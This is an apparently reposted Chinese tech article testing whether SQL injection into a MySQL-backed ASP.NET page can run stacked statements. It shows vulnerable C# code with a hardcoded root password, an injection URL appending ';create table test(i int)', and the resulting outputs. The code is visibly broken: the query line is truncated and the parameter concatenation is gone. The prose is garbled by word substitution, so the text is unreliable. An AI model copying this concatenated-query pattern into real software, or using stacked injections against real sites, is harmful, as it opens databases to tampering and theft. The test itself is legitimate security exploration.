当前位置:七道奇文章资讯安全技术网络技术
日期:2010-09-08 00:18:00  来源:本站整理

关于Mysql + asp.net注射能支持多语句的感触[网络技术]

赞助商链接



  本文“关于Mysql + asp.net注射能支持多语句的感触[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

在一篇老外的文章里面看到一个图表,导致Mysql + Asp.Net 注入时支持多语句

真的?有点不信,测试了下:

    protected void Page_Load(object sender, EventArgs e)
    {
        try
        {
            Response.Write("利用Mysql.Data.MySqlClient<br /><br />");
            string myConnectionString = "server=localhost;user id=root;password=123456;database=test";
            MySqlConnection myConnection = new MySqlConnection(myConnectionString);
            string myQuery = "select * from admin where id"];
            Response.Write("SQL:" + myQuery + "<br />");
            MySqlCommand myCommand = new MySqlCommand(myQuery, myConnection);
            myConnection.Open();
            myCommand.ExecuteReader();
            myCommand.Connection.Close();
        }
        catch (MySqlException err)
        {
            Response.Write("Error:" + err.Message);
        }
       
        //try
        //{
        //    Response.Write("利用Mysql ODBC驱动<br /><br />");
        //    string myConnectionString = "DRIVER={MySQL ODBC 3.51 Driver};SERVER=localhost;DATABASE=test;UID=root;PASSWORD=123456;OPTION=3";
        //    string myQuery = "select * from admin where id"];
        //    Response.Write("SQL:" + myQuery + "<br />");
        //    OdbcConnection myConnection = new OdbcConnection(myConnectionString);
        //    OdbcCommand myCommand = new OdbcCommand(myQuery, myConnection);
        //    myConnection.Open();
        //    myCommand.ExecuteReader();
        //    myCommand.Connection.Close();
        //}
        //catch(OleDbException err)
        //{
        //    Response.Write("Error:" + err.Message);
        //}
    }

这里面是衔接mysql常用的两个方法,一个是用Mysql.Data.MySqlClient这个类.二个try是利用越发传统的odbc方法.

Step 1:注释第一个代码段,拜候http://localhost:2928/MysqlInj_test/MysqlInj_test.aspx?id=1;create table test(i int) 后果得到以下的错误信息:

"/MysqlInj_test"利用程序中的服务器错误.
--------------------------------------------------------------------------------

ERROR [42000] [MySQL][ODBC 3.51 Driver][mysqld-5.0.45-community-nt]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';create table test(i int)' at line 1

到test库下面看,表test没有被成立

Step 2:注释第二个代码段,革新页面.页面返回

利用Mysql.Data.MySqlClient

SQL:select * from admin where id=1;create table test(i int)

持续按F5革新这个页面,得到以下消息

利用Mysql.Data.MySqlClient

SQL:select * from admin where id=1;create table test(i int)
Error:Table 'test' already exists

跑到test库看,公然有个叫test的表被成立了.乖乖,看来老外说的是真的,但是对了一半.

本来Mysql能不能多语句履行,这和处理它的数据库驱动有很大关系.不知道是不是绝春接洽,但是至少是一个重要的因素.

推而广之呢?


  以上是“关于Mysql + asp.net注射能支持多语句的感触[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 关于mysql的query_cache熟习的误区
  • 关于MySQL数据库基本调度战略的简介
  • <b>关于Mysql 4.1语言问题的完善办理办法</b>
  • 关于Mysql + asp.net注射能支持多语句的感触
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .